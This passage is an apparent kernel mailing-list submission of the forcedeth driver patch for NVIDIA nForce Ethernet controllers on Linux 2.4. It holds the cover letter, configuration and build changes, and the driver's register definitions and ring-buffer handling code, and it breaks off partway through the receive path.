charset=us-ascii Content-Transfer-Encoding: 7bit Marcelo, attached is the current version of forcedeth, a network driver for nForce{,2,3} chipsets which are fairly common today. So far, the only support for nForce chipsets has been a binary-only driver from NVidia. This driver has received testing by over 200 people on nForce1, nForce2 and nForce3 chipsets and has already been integrated into 2.6. Before that, it has been in -mm for a few weeks. We currently don't have any unresolved bug reports. Credits for the driver go to: Andrew de Quincey: Writing a spec for the chipset Carl-Daniel Hailfinger: Co-author of the spec, driver fixes Manfred Spraul: Writing the driver The patch is against your current bk tree. Please apply. Carl-Daniel --------------060904090502080004040101 Content-Type: text/plain; name="forcedeth_2_4_patch_v22.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="forcedeth_2_4_patch_v22.txt" diff -Nru a/Documentation/Configure.help b/Documentation/Configure.help --- a/Documentation/Configure.help Sat Jan 24 17:06:52 2004 +++ b/Documentation/Configure.help Sat Jan 24 17:06:52 2004 @@ -12349,6 +12349,16 @@ . The module will be called b44. +nForce Ethernet support (EXPERIMENTAL) +CONFIG_FORCEDETH + If you have a network (Ethernet) controller of this type, say Y and + read the Ethernet-HOWTO, available from + . + + To compile this driver as a module, choose M here and read + . The module will be + called forcedeth.o. + CS89x0 support (Daynaport CS and LC cards) CONFIG_CS89x0 Support for CS89x0 chipset based Ethernet cards. If you have a diff -Nru a/drivers/net/Config.in b/drivers/net/Config.in --- a/drivers/net/Config.in Sat Jan 24 17:06:52 2004 +++ b/drivers/net/Config.in Sat Jan 24 17:06:52 2004 @@ -198,6 +198,7 @@ dep_tristate ' Myson MTD-8xx PCI Ethernet support' CONFIG_FEALNX $CONFIG_PCI dep_tristate ' National Semiconductor DP8381x series PCI Ethernet support' CONFIG_NATSEMI $CONFIG_PCI dep_tristate ' PCI NE2000 and clones support (see help)' CONFIG_NE2K_PCI $CONFIG_PCI + dep_tristate ' nForce Ethernet support (EXPERIMENTAL)' CONFIG_FORCEDETH $CONFIG_PCI $CONFIG_EXPERIMENTAL dep_tristate ' Novell/Eagle/Microdyne NE3210 EISA support (EXPERIMENTAL)' CONFIG_NE3210 $CONFIG_EISA $CONFIG_EXPERIMENTAL dep_tristate ' Racal-Interlan EISA ES3210 support (EXPERIMENTAL)' CONFIG_ES3210 $CONFIG_EISA $CONFIG_EXPERIMENTAL dep_tristate ' RealTek RTL-8139 C+ PCI Fast Ethernet Adapter support (EXPERIMENTAL)' CONFIG_8139CP $CONFIG_PCI $CONFIG_EXPERIMENTAL diff -Nru a/drivers/net/Makefile b/drivers/net/Makefile --- a/drivers/net/Makefile Sat Jan 24 17:06:52 2004 +++ b/drivers/net/Makefile Sat Jan 24 17:06:52 2004 @@ -154,6 +154,7 @@ obj-$(CONFIG_NE3210) += ne3210.o 8390.o obj-$(CONFIG_NET_SB1250_MAC) += sb1250-mac.o obj-$(CONFIG_B44) += b44.o +obj-$(CONFIG_FORCEDETH) += forcedeth.o obj-$(CONFIG_PPP) += ppp_generic.o slhc.o obj-$(CONFIG_PPP_ASYNC) += ppp_async.o diff -Nru a/drivers/net/forcedeth.c b/drivers/net/forcedeth.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/drivers/net/forcedeth.c Sat Jan 24 17:06:52 2004 @@ -0,0 +1,1532 @@ +/* + * forcedeth: Ethernet driver for NVIDIA nForce media access controllers. + * + * Note: This driver is a cleanroom reimplementation based on reverse + * engineered documentation written by Carl-Daniel Hailfinger + * and Andrew de Quincey. It's neither supported nor endorsed + * by NVIDIA Corp. Use at your own risk. + * + * NVIDIA, nForce and other NVIDIA marks are trademarks or registered + * trademarks of NVIDIA Corporation in the United States and other + * countries. + * + * Copyright (C) 2003 Manfred Spraul + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Changelog: + * 0.01: 05 Oct 2003: First release that compiles without warnings. + * 0.02: 05 Oct 2003: Fix bug for drain_tx: do not try to free NULL skbs. + * Check all PCI BARs for the register window. + * udelay added to mii_rw. + * 0.03: 06 Oct 2003: Initialize dev->irq. + * 0.04: 07 Oct 2003: Initialize np->lock, reduce handled irqs, add printks. + * 0.05: 09 Oct 2003: printk removed again, irq status print tx_timeout. + * 0.06: 10 Oct 2003: MAC Address read updated, pff flag generation updated, + * irq mask updated + * 0.07: 14 Oct 2003: Further irq mask updates. + * 0.08: 20 Oct 2003: rx_desc.Length initialization added, alloc_rx refill + * added into irq handler, NULL check for drain_ring. + * 0.09: 20 Oct 2003: Basic link speed irq implementation. Only handle the + * requested interrupt sources. + * 0.10: 20 Oct 2003: First cleanup for release. + * 0.11: 21 Oct 2003: hexdump for tx added, rx buffer sizes increased. + * MAC Address init fix, set_multicast cleanup. + * 0.12: 23 Oct 2003: Cleanups for release. + * 0.13: 25 Oct 2003: Limit for concurrent tx packets increased to 10. + * Set link speed correctly. start rx before starting + * tx (start_rx sets the link speed). + * 0.14: 25 Oct 2003: Nic dependant irq mask. + * 0.15: 08 Nov 2003: fix smp deadlock with set_multicast_list during + * open. + * 0.16: 15 Nov 2003: include file cleanup for ppc64, rx buffer size + * increased to 1628 bytes. + * 0.17: 16 Nov 2003: undo rx buffer size increase. Substract 1 from + * the tx length. + * 0.18: 17 Nov 2003: fix oops due to late initialization of dev_stats + * 0.19: 29 Nov 2003: Handle RxNoBuf, detect & handle invalid mac + * addresses, really stop rx if already running + * in start_rx, clean up a bit. + * (C) Carl-Daniel Hailfinger + * 0.20: 07 Dec 2003: alloc fixes + * 0.21: 12 Jan 2004: additional alloc fix, nic polling fix. + * 0.22: 19 Jan 2004: reprogram timer to a sane rate, avoid lockup + * on close. + * (C) Carl-Daniel Hailfinger + * + * Known bugs: + * We suspect that on some hardware no TX done interrupts are generated. + * This means recovery from netif_stop_queue only happens if the hw timer + * interrupt fires (100 times/second, configurable with NVREG_POLL_DEFAULT) + * and the timer is active in the IRQMask, or if a rx packet arrives by chance. + * If your hardware reliably generates tx done interrupts, then you can remove + * DEV_NEED_TIMERIRQ from the driver_data flags. + * DEV_NEED_TIMERIRQ will not harm you on sane hardware, only generating a few + * superfluous timer interrupts from the nic. + */ +#define FORCEDETH_VERSION "0.22" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#if 0 +#define dprintk printk +#else +#define dprintk(x...) do { } while (0) +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,5,28)) +static inline void synchronize_irq_wrapper(unsigned int irq) { synchronize_irq(); } +#undef synchronize_irq +#define synchronize_irq(irq) synchronize_irq_wrapper(irq) +#endif + +/* + * Hardware access: + */ + +#define DEV_NEED_LASTPACKET1 0x0001 +#define DEV_IRQMASK_1 0x0002 +#define DEV_IRQMASK_2 0x0004 +#define DEV_NEED_TIMERIRQ 0x0008 + +enum { + NvRegIrqStatus = 0x000, +#define NVREG_IRQSTAT_MIIEVENT 0x040 +#define NVREG_IRQSTAT_MASK 0x1ff + NvRegIrqMask = 0x004, +#define NVREG_IRQ_RX 0x0002 +#define NVREG_IRQ_RX_NOBUF 0x0004 +#define NVREG_IRQ_TX_ERR 0x0008 +#define NVREG_IRQ_TX2 0x0010 +#define NVREG_IRQ_TIMER 0x0020 +#define NVREG_IRQ_LINK 0x0040 +#define NVREG_IRQ_TX1 0x0100 +#define NVREG_IRQMASK_WANTED_1 0x005f +#define NVREG_IRQMASK_WANTED_2 0x0147 +#define NVREG_IRQ_UNKNOWN (~(NVREG_IRQ_RX|NVREG_IRQ_RX_NOBUF|NVREG_IRQ_TX_ERR|NVREG_IRQ_TX2|NVREG_IRQ_TIMER|NVREG_IRQ_LINK|NVREG_IRQ_TX1)) + + NvRegUnknownSetupReg6 = 0x008, +#define NVREG_UNKSETUP6_VAL 3 + +/* + * NVREG_POLL_DEFAULT is the interval length of the timer source on the nic + * NVREG_POLL_DEFAULT=97 would result in an interval length of 1 ms + */ + NvRegPollingInterval = 0x00c, +#define NVREG_POLL_DEFAULT 970 + NvRegMisc1 = 0x080, +#define NVREG_MISC1_HD 0x02 +#define NVREG_MISC1_FORCE 0x3b0f3c + + NvRegTransmitterControl = 0x084, +#define NVREG_XMITCTL_START 0x01 + NvRegTransmitterStatus = 0x088, +#define NVREG_XMITSTAT_BUSY 0x01 + + NvRegPacketFilterFlags = 0x8c, +#define NVREG_PFF_ALWAYS 0x7F0008 +#define NVREG_PFF_PROMISC 0x80 +#define NVREG_PFF_MYADDR 0x20 + + NvRegOffloadConfig = 0x90, +#define NVREG_OFFLOAD_HOMEPHY 0x601 +#define NVREG_OFFLOAD_NORMAL 0x5ee + NvRegReceiverControl = 0x094, +#define NVREG_RCVCTL_START 0x01 + NvRegReceiverStatus = 0x98, +#define NVREG_RCVSTAT_BUSY 0x01 + + NvRegRandomSeed = 0x9c, +#define NVREG_RNDSEED_MASK 0x00ff +#define NVREG_RNDSEED_FORCE 0x7f00 + + NvRegUnknownSetupReg1 = 0xA0, +#define NVREG_UNKSETUP1_VAL 0x16070f + NvRegUnknownSetupReg2 = 0xA4, +#define NVREG_UNKSETUP2_VAL 0x16 + NvRegMacAddrA = 0xA8, + NvRegMacAddrB = 0xAC, + NvRegMulticastAddrA = 0xB0, +#define NVREG_MCASTADDRA_FORCE 0x01 + NvRegMulticastAddrB = 0xB4, + NvRegMulticastMaskA = 0xB8, + NvRegMulticastMaskB = 0xBC, + + NvRegTxRingPhysAddr = 0x100, + NvRegRxRingPhysAddr = 0x104, + NvRegRingSizes = 0x108, +#define NVREG_RINGSZ_TXSHIFT 0 +#define NVREG_RINGSZ_RXSHIFT 16 + NvRegUnknownTransmitterReg = 0x10c, + NvRegLinkSpeed = 0x110, +#define NVREG_LINKSPEED_FORCE 0x10000 +#define NVREG_LINKSPEED_10 10 +#define NVREG_LINKSPEED_100 100 +#define NVREG_LINKSPEED_1000 1000 + NvRegUnknownSetupReg5 = 0x130, +#define NVREG_UNKSETUP5_BIT31 (1<<31) + NvRegUnknownSetupReg3 = 0x134, +#define NVREG_UNKSETUP3_VAL1 0x200010 + NvRegTxRxControl = 0x144, +#define NVREG_TXRXCTL_KICK 0x0001 +#define NVREG_TXRXCTL_BIT1 0x0002 +#define NVREG_TXRXCTL_BIT2 0x0004 +#define NVREG_TXRXCTL_IDLE 0x0008 +#define NVREG_TXRXCTL_RESET 0x0010 + NvRegMIIStatus = 0x180, +#define NVREG_MIISTAT_ERROR 0x0001 +#define NVREG_MIISTAT_LINKCHANGE 0x0008 +#define NVREG_MIISTAT_MASK 0x000f +#define NVREG_MIISTAT_MASK2 0x000f + NvRegUnknownSetupReg4 = 0x184, +#define NVREG_UNKSETUP4_VAL 8 + + NvRegAdapterControl = 0x188, +#define NVREG_ADAPTCTL_START 0x02 +#define NVREG_ADAPTCTL_LINKUP 0x04 +#define NVREG_ADAPTCTL_PHYVALID 0x4000 +#define NVREG_ADAPTCTL_RUNNING 0x100000 +#define NVREG_ADAPTCTL_PHYSHIFT 24 + NvRegMIISpeed = 0x18c, +#define NVREG_MIISPEED_BIT8 (1<<8) +#define NVREG_MIIDELAY 5 + NvRegMIIControl = 0x190, +#define NVREG_MIICTL_INUSE 0x10000 +#define NVREG_MIICTL_WRITE 0x08000 +#define NVREG_MIICTL_ADDRSHIFT 5 + NvRegMIIData = 0x194, + NvRegWakeUpFlags = 0x200, +#define NVREG_WAKEUPFLAGS_VAL 0x7770 +#define NVREG_WAKEUPFLAGS_BUSYSHIFT 24 +#define NVREG_WAKEUPFLAGS_ENABLESHIFT 16 +#define NVREG_WAKEUPFLAGS_D3SHIFT 12 +#define NVREG_WAKEUPFLAGS_D2SHIFT 8 +#define NVREG_WAKEUPFLAGS_D1SHIFT 4 +#define NVREG_WAKEUPFLAGS_D0SHIFT 0 +#define NVREG_WAKEUPFLAGS_ACCEPT_MAGPAT 0x01 +#define NVREG_WAKEUPFLAGS_ACCEPT_WAKEUPPAT 0x02 +#define NVREG_WAKEUPFLAGS_ACCEPT_LINKCHANGE 0x04 + + NvRegPatternCRC = 0x204, + NvRegPatternMask = 0x208, + NvRegPowerCap = 0x268, +#define NVREG_POWERCAP_D3SUPP (1<<30) +#define NVREG_POWERCAP_D2SUPP (1<<26) +#define NVREG_POWERCAP_D1SUPP (1<<25) + NvRegPowerState = 0x26c, +#define NVREG_POWERSTATE_POWEREDUP 0x8000 +#define NVREG_POWERSTATE_VALID 0x0100 +#define NVREG_POWERSTATE_MASK 0x0003 +#define NVREG_POWERSTATE_D0 0x0000 +#define NVREG_POWERSTATE_D1 0x0001 +#define NVREG_POWERSTATE_D2 0x0002 +#define NVREG_POWERSTATE_D3 0x0003 +}; + +struct ring_desc { + u32 PacketBuffer; + u16 Length; + u16 Flags; +}; + +#define NV_TX_LASTPACKET (1<<0) +#define NV_TX_RETRYERROR (1<<3) +#define NV_TX_LASTPACKET1 (1<<8) +#define NV_TX_DEFERRED (1<<10) +#define NV_TX_CARRIERLOST (1<<11) +#define NV_TX_LATECOLLISION (1<<12) +#define NV_TX_UNDERFLOW (1<<13) +#define NV_TX_ERROR (1<<14) +#define NV_TX_VALID (1<<15) + +#define NV_RX_DESCRIPTORVALID (1<<0) +#define NV_RX_MISSEDFRAME (1<<1) +#define NV_RX_SUBSTRACT1 (1<<3) +#define NV_RX_ERROR1 (1<<7) +#define NV_RX_ERROR2 (1<<8) +#define NV_RX_ERROR3 (1<<9) +#define NV_RX_ERROR4 (1<<10) +#define NV_RX_CRCERR (1<<11) +#define NV_RX_OVERFLOW (1<<12) +#define NV_RX_FRAMINGERR (1<<13) +#define NV_RX_ERROR (1<<14) +#define NV_RX_AVAIL (1<<15) + +/* Miscelaneous hardware related defines: */ +#define NV_PCI_REGSZ 0x270 + +/* various timeout delays: all in usec */ +#define NV_TXRX_RESET_DELAY 4 +#define NV_TXSTOP_DELAY1 10 +#define NV_TXSTOP_DELAY1MAX 500000 +#define NV_TXSTOP_DELAY2 100 +#define NV_RXSTOP_DELAY1 10 +#define NV_RXSTOP_DELAY1MAX 500000 +#define NV_RXSTOP_DELAY2 100 +#define NV_SETUP5_DELAY 5 +#define NV_SETUP5_DELAYMAX 50000 +#define NV_POWERUP_DELAY 5 +#define NV_POWERUP_DELAYMAX 5000 +#define NV_MIIBUSY_DELAY 50 +#define NV_MIIPHY_DELAY 10 +#define NV_MIIPHY_DELAYMAX 10000 + +#define NV_WAKEUPPATTERNS 5 +#define NV_WAKEUPMASKENTRIES 4 + +/* General driver defaults */ +#define NV_WATCHDOG_TIMEO (2*HZ) +#define DEFAULT_MTU 1500 /* also maximum supported, at least for now */ + +#define RX_RING 128 +#define TX_RING 16 +/* limited to 1 packet until we understand NV_TX_LASTPACKET */ +#define TX_LIMIT_STOP 10 +#define TX_LIMIT_START 5 + +/* rx/tx mac addr + type + vlan + align + slack*/ +#define RX_NIC_BUFSIZE (DEFAULT_MTU + 64) +/* even more slack */ +#define RX_ALLOC_BUFSIZE (DEFAULT_MTU + 128) + +#define OOM_REFILL (1+HZ/20) +#define POLL_WAIT (1+HZ/100) + +/* + * SMP locking: + * All hardware access under dev->priv->lock, except the performance + * critical parts: + * - rx is (pseudo-) lockless: it relies on the single-threading provided + * by the arch code for interrupts. + * - tx setup is lockless: it relies on dev->xmit_lock. Actual submission + * needs dev->priv->lock :-( + * - set_multicast_list: preparation lockless, relies on dev->xmit_lock. + */ + +/* in dev: base, irq */ +struct fe_priv { + spinlock_t lock; + + /* General data: + * Locking: spin_lock(&np->lock); */ + struct net_device_stats stats; + int in_shutdown; + u32 linkspeed; + int duplex; + int phyaddr; + + /* General data: RO fields */ + dma_addr_t ring_addr; + struct pci_dev *pci_dev; + u32 orig_mac[2]; + u32 irqmask; + + /* rx specific fields. + * Locking: Within irq hander or disable_irq+spin_lock(&np->lock); + */ + struct ring_desc *rx_ring; + unsigned int cur_rx, refill_rx; + struct sk_buff *rx_skbuff[RX_RING]; + dma_addr_t rx_dma[RX_RING]; + unsigned int rx_buf_sz; + struct timer_list oom_kick; + struct timer_list nic_poll; + + /* + * tx specific fields. + */ + struct ring_desc *tx_ring; + unsigned int next_tx, nic_tx; + struct sk_buff *tx_skbuff[TX_RING]; + dma_addr_t tx_dma[TX_RING]; + u16 tx_flags; +}; + +/* + * Maximum number of loops until we assume that a bit in the irq mask + * is stuck. Overridable with module param. + */ +static int max_interrupt_work = 5; + +static inline struct fe_priv *get_nvpriv(struct net_device *dev) +{ + return (struct fe_priv *) dev->priv; +} + +static inline u8 *get_hwbase(struct net_device *dev) +{ + return (u8 *) dev->base_addr; +} + +static inline void pci_push(u8 * base) +{ + /* force out pending posted writes */ + readl(base); +} + +static int reg_delay(struct net_device *dev, int offset, u32 mask, u32 target, + int delay, int delaymax, const char *msg) +{ + u8 *base = get_hwbase(dev); + + pci_push(base); + do { + udelay(delay); + delaymax -= delay; + if (delaymax < 0) { + if (msg) + printk(msg); + return 1; + } + } while ((readl(base + offset) & mask) != target); + return 0; +} + +#define MII_READ (-1) +/* mii_rw: read/write a register on the PHY. + * + * Caller must guarantee serialization + */ +static int mii_rw(struct net_device *dev, int addr, int miireg, int value) +{ + u8 *base = get_hwbase(dev); + int was_running; + u32 reg; + int retval; + + writel(NVREG_MIISTAT_MASK, base + NvRegMIIStatus); + was_running = 0; + reg = readl(base + NvRegAdapterControl); + if (reg & NVREG_ADAPTCTL_RUNNING) { + was_running = 1; + writel(reg & ~NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + } + reg = readl(base + NvRegMIIControl); + if (reg & NVREG_MIICTL_INUSE) { + writel(NVREG_MIICTL_INUSE, base + NvRegMIIControl); + udelay(NV_MIIBUSY_DELAY); + } + + reg = NVREG_MIICTL_INUSE | (addr << NVREG_MIICTL_ADDRSHIFT) | miireg; + if (value != MII_READ) { + writel(value, base + NvRegMIIData); + reg |= NVREG_MIICTL_WRITE; + } + writel(reg, base + NvRegMIIControl); + + if (reg_delay(dev, NvRegMIIControl, NVREG_MIICTL_INUSE, 0, + NV_MIIPHY_DELAY, NV_MIIPHY_DELAYMAX, NULL)) { + dprintk(KERN_DEBUG "%s: mii_rw of reg %d at PHY %d timed out.\n", + dev->name, miireg, addr); + retval = -1; + } else if (value != MII_READ) { + /* it was a write operation - fewer failures are detectable */ + dprintk(KERN_DEBUG "%s: mii_rw wrote 0x%x to reg %d at PHY %d\n", + dev->name, value, miireg, addr); + retval = 0; + } else if (readl(base + NvRegMIIStatus) & NVREG_MIISTAT_ERROR) { + dprintk(KERN_DEBUG "%s: mii_rw of reg %d at PHY %d failed.\n", + dev->name, miireg, addr); + retval = -1; + } else { + /* FIXME: why is that required? */ + udelay(50); + retval = readl(base + NvRegMIIData); + dprintk(KERN_DEBUG "%s: mii_rw read from reg %d at PHY %d: 0x%x.\n", + dev->name, miireg, addr, retval); + } + if (was_running) { + reg = readl(base + NvRegAdapterControl); + writel(reg | NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + } + return retval; +} + +static void start_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: start_rx\n", dev->name); + /* Already running? Stop it. */ + if (readl(base + NvRegReceiverControl) & NVREG_RCVCTL_START) { + writel(0, base + NvRegReceiverControl); + pci_push(base); + } + writel(np->linkspeed, base + NvRegLinkSpeed); + pci_push(base); + writel(NVREG_RCVCTL_START, base + NvRegReceiverControl); + pci_push(base); +} + +static void stop_rx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: stop_rx\n", dev->name); + writel(0, base + NvRegReceiverControl); + reg_delay(dev, NvRegReceiverStatus, NVREG_RCVSTAT_BUSY, 0, + NV_RXSTOP_DELAY1, NV_RXSTOP_DELAY1MAX, + KERN_INFO "stop_rx: ReceiverStatus remained busy"); + + udelay(NV_RXSTOP_DELAY2); + writel(0, base + NvRegLinkSpeed); +} + +static void start_tx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: start_tx\n", dev->name); + writel(NVREG_XMITCTL_START, base + NvRegTransmitterControl); + pci_push(base); +} + +static void stop_tx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: stop_tx\n", dev->name); + writel(0, base + NvRegTransmitterControl); + reg_delay(dev, NvRegTransmitterStatus, NVREG_XMITSTAT_BUSY, 0, + NV_TXSTOP_DELAY1, NV_TXSTOP_DELAY1MAX, + KERN_INFO "stop_tx: TransmitterStatus remained busy"); + + udelay(NV_TXSTOP_DELAY2); + writel(0, base + NvRegUnknownTransmitterReg); +} + +static void txrx_reset(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: txrx_reset\n", dev->name); + writel(NVREG_TXRXCTL_BIT2 | NVREG_TXRXCTL_RESET, base + NvRegTxRxControl); + pci_push(base); + udelay(NV_TXRX_RESET_DELAY); + writel(NVREG_TXRXCTL_BIT2, base + NvRegTxRxControl); + pci_push(base); +} + +/* + * get_stats: dev->get_stats function + * Get latest stats value from the nic. + * Called with read_lock(&dev_base_lock) held for read - + * only synchronized against unregister_netdevice. + */ +static struct net_device_stats *get_stats(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + /* It seems that the nic always generates interrupts and doesn't + * accumulate errors internally. Thus the current values in np->stats + * are already up to date. + */ + return &np->stats; +} + + +/* + * nic_ioctl: dev->do_ioctl function + * Called with rtnl_lock held. + */ +static int nic_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +{ + return -EOPNOTSUPP; +} + +/* + * alloc_rx: fill rx ring entries. + * Return 1 if the allocations for the skbs failed and the + * rx engine is without Available descriptors + */ +static int alloc_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + unsigned int refill_rx = np->refill_rx; + + while (np->cur_rx != refill_rx) { + int nr = refill_rx % RX_RING; + struct sk_buff *skb; + + if (np->rx_skbuff[nr] == NULL) { + + skb = dev_alloc_skb(RX_ALLOC_BUFSIZE); + if (!skb) + break; + + skb->dev = dev; + np->rx_skbuff[nr] = skb; + } else { + skb = np->rx_skbuff[nr]; + } + np->rx_dma[nr] = pci_map_single(np->pci_dev, skb->data, skb->len, + PCI_DMA_FROMDEVICE); + np->rx_ring[nr].PacketBuffer = cpu_to_le32(np->rx_dma[nr]); + np->rx_ring[nr].Length = cpu_to_le16(RX_NIC_BUFSIZE); + wmb(); + np->rx_ring[nr].Flags = cpu_to_le16(NV_RX_AVAIL); + dprintk(KERN_DEBUG "%s: alloc_rx: Packet %d marked as Available\n", + dev->name, refill_rx); + refill_rx++; + } + np->refill_rx = refill_rx; + if (np->cur_rx - refill_rx == RX_RING) + return 1; + return 0; +} + +static void do_rx_refill(unsigned long data) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + + disable_irq(dev->irq); + if (alloc_rx(dev)) { + spin_lock(&np->lock); + if (!np->in_shutdown) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + spin_unlock(&np->lock); + } + enable_irq(dev->irq); +} + +static int init_ring(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + + np->next_tx = np->nic_tx = 0; + for (i = 0; i < TX_RING; i++) { + np->tx_ring[i].Flags = 0; + } + + np->cur_rx = RX_RING; + np->refill_rx = 0; + for (i = 0; i < RX_RING; i++) { + np->rx_ring[i].Flags = 0; + } + return alloc_rx(dev); +} + +static void drain_tx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + for (i = 0; i < TX_RING; i++) { + np->tx_ring[i].Flags = 0; + if (np->tx_skbuff[i]) { + pci_unmap_single(np->pci_dev, np->tx_dma[i], + np->tx_skbuff[i]->len, + PCI_DMA_TODEVICE); + dev_kfree_skb(np->tx_skbuff[i]); + np->tx_skbuff[i] = NULL; + np->stats.tx_dropped++; + } + } +} + +static void drain_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + for (i = 0; i < RX_RING; i++) { + np->rx_ring[i].Flags = 0; + wmb(); + if (np->rx_skbuff[i]) { + pci_unmap_single(np->pci_dev, np->rx_dma[i], + np->rx_skbuff[i]->len, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(np->rx_skbuff[i]); + np->rx_skbuff[i] = NULL; + } + } +} + +static void drain_ring(struct net_device *dev) +{ + drain_tx(dev); + drain_rx(dev); +} + +/* + * start_xmit: dev->hard_start_xmit function + * Called with dev->xmit_lock held. + */ +static int start_xmit(struct sk_buff *skb, struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int nr = np->next_tx % TX_RING; + + np->tx_skbuff[nr] = skb; + np->tx_dma[nr] = pci_map_single(np->pci_dev, skb->data,skb->len, + PCI_DMA_TODEVICE); + + np->tx_ring[nr].PacketBuffer = cpu_to_le32(np->tx_dma[nr]); + np->tx_ring[nr].Length = cpu_to_le16(skb->len-1); + + spin_lock_irq(&np->lock); + wmb(); + np->tx_ring[nr].Flags = np->tx_flags; + dprintk(KERN_DEBUG "%s: start_xmit: packet packet %d queued for transmission.\n", + dev->name, np->next_tx); + { + int j; + for (j=0; j<64; j++) { + if ((j%16) == 0) + dprintk("\n%03x:", j); + dprintk(" %02x", ((unsigned char*)skb->data)[j]); + } + dprintk("\n"); + } + + np->next_tx++; + + dev->trans_start = jiffies; + if (np->next_tx - np->nic_tx >= TX_LIMIT_STOP) + netif_stop_queue(dev); + spin_unlock_irq(&np->lock); + writel(NVREG_TXRXCTL_KICK, get_hwbase(dev) + NvRegTxRxControl); + return 0; +} + +/* + * tx_done: check for completed packets, release the skbs. + * + * Caller must own np->lock. + */ +static void tx_done(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + while (np->nic_tx < np->next_tx) { + struct ring_desc *prd; + int i = np->nic_tx % TX_RING; + + prd = &np->tx_ring[i]; + + dprintk(KERN_DEBUG "%s: tx_done: looking at packet %d, Flags 0x%x.\n", + dev->name, np->nic_tx, prd->Flags); + if (prd->Flags & cpu_to_le16(NV_TX_VALID)) + break; + if (prd->Flags & cpu_to_le16(NV_TX_RETRYERROR|NV_TX_CARRIERLOST|NV_TX_LATECOLLISION| + NV_TX_UNDERFLOW|NV_TX_ERROR)) { + if (prd->Flags & cpu_to_le16(NV_TX_UNDERFLOW)) + np->stats.tx_fifo_errors++; + if (prd->Flags & cpu_to_le16(NV_TX_CARRIERLOST)) + np->stats.tx_carrier_errors++; + np->stats.tx_errors++; + } else { + np->stats.tx_packets++; + np->stats.tx_bytes += np->tx_skbuff[i]->len; + } + pci_unmap_single(np->pci_dev, np->tx_dma[i], + np->tx_skbuff[i]->len, + PCI_DMA_TODEVICE); + dev_kfree_skb_irq(np->tx_skbuff[i]); + np->tx_skbuff[i] = NULL; + np->nic_tx++; + } + if (np->next_tx - np->nic_tx < TX_LIMIT_START) + netif_wake_queue(dev); +} + +/* + * tx_timeout: dev->tx_timeout function + * Called with dev->xmit_lock held. + */ +static void tx_timeout(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: Got tx_timeout. irq: %08x\n", dev->name, + readl(base + NvRegIrqStatus) & NVREG_IRQSTAT_MASK); + + spin_lock_irq(&np->lock); + + /* 1) stop tx engine */ + stop_tx(dev); + + /* 2) check that the packets were not sent already: */ + tx_done(dev); + + /* 3) if there are dead entries: clear everything */ + if (np->next_tx != np->nic_tx) { + printk(KERN_DEBUG "%s: tx_timeout: dead entries!\n", dev->name); + drain_tx(dev); + np->next_tx = np->nic_tx = 0; + writel((u32) (np->ring_addr + RX_RING*sizeof(struct ring_desc)), base + NvRegTxRingPhysAddr); + netif_wake_queue(dev); + } + + /* 4) restart tx engine */ + start_tx(dev); + spin_unlock_irq(&np->lock); +} + +static void rx_process(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + for (;;) { + struct ring_desc *prd; + struct sk_buff *skb; + int len; + int i; + if (np->cur_rx - np->refill_rx >= RX_RING) + break; /* we scanned the whole ring - do not continue */ + + i = np->cur_rx % RX_RING; + prd = &np->rx_ring[i]; + dprintk(KERN_DEBUG "%s: rx_process: looking at packet %d, Flags 0x%x.\n", + dev->name, np->cur_rx, prd->Flags); + + if (prd->Flags & cpu_to_le16(NV_RX_AVAIL)) + break; /* still owned by hardware, */ + + /* + * the packet is for us - immediately tear down the pci mapping, and + * prefetch the first cacheline of the packet. + */ + pci_unmap_single(np->pci_dev, np->rx_dma[i], + np->rx_skbuff[i]->len, + PCI_DMA_FROMDEVICE); + prefetch(np->rx_skbuff[i]->data); + + { + int j; + dprintk(KERN_DEBUG "Dumping packet (flags 0x%x).",prd->Flags); + for (j=0; j<64; j++) { + if ((j%16) == 0) + dprintk("\n%03x:", j); + dprintk(" %02x", ((unsigned char*)np->rx_skbuff[i]->data)[j]); + } + dprintk("\n"); + } + /* look at what we actually got: */ + if (!(prd->Flags & cpu_to_le16(NV_RX_DESCRIPTORVALID))) + goto next_pkt; + + + len = le16_to_cpu(prd->Length); + + if (prd->Flags & cpu_to_le16(NV_RX_MISSEDFRAME)) { + np->stats.rx_missed_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & 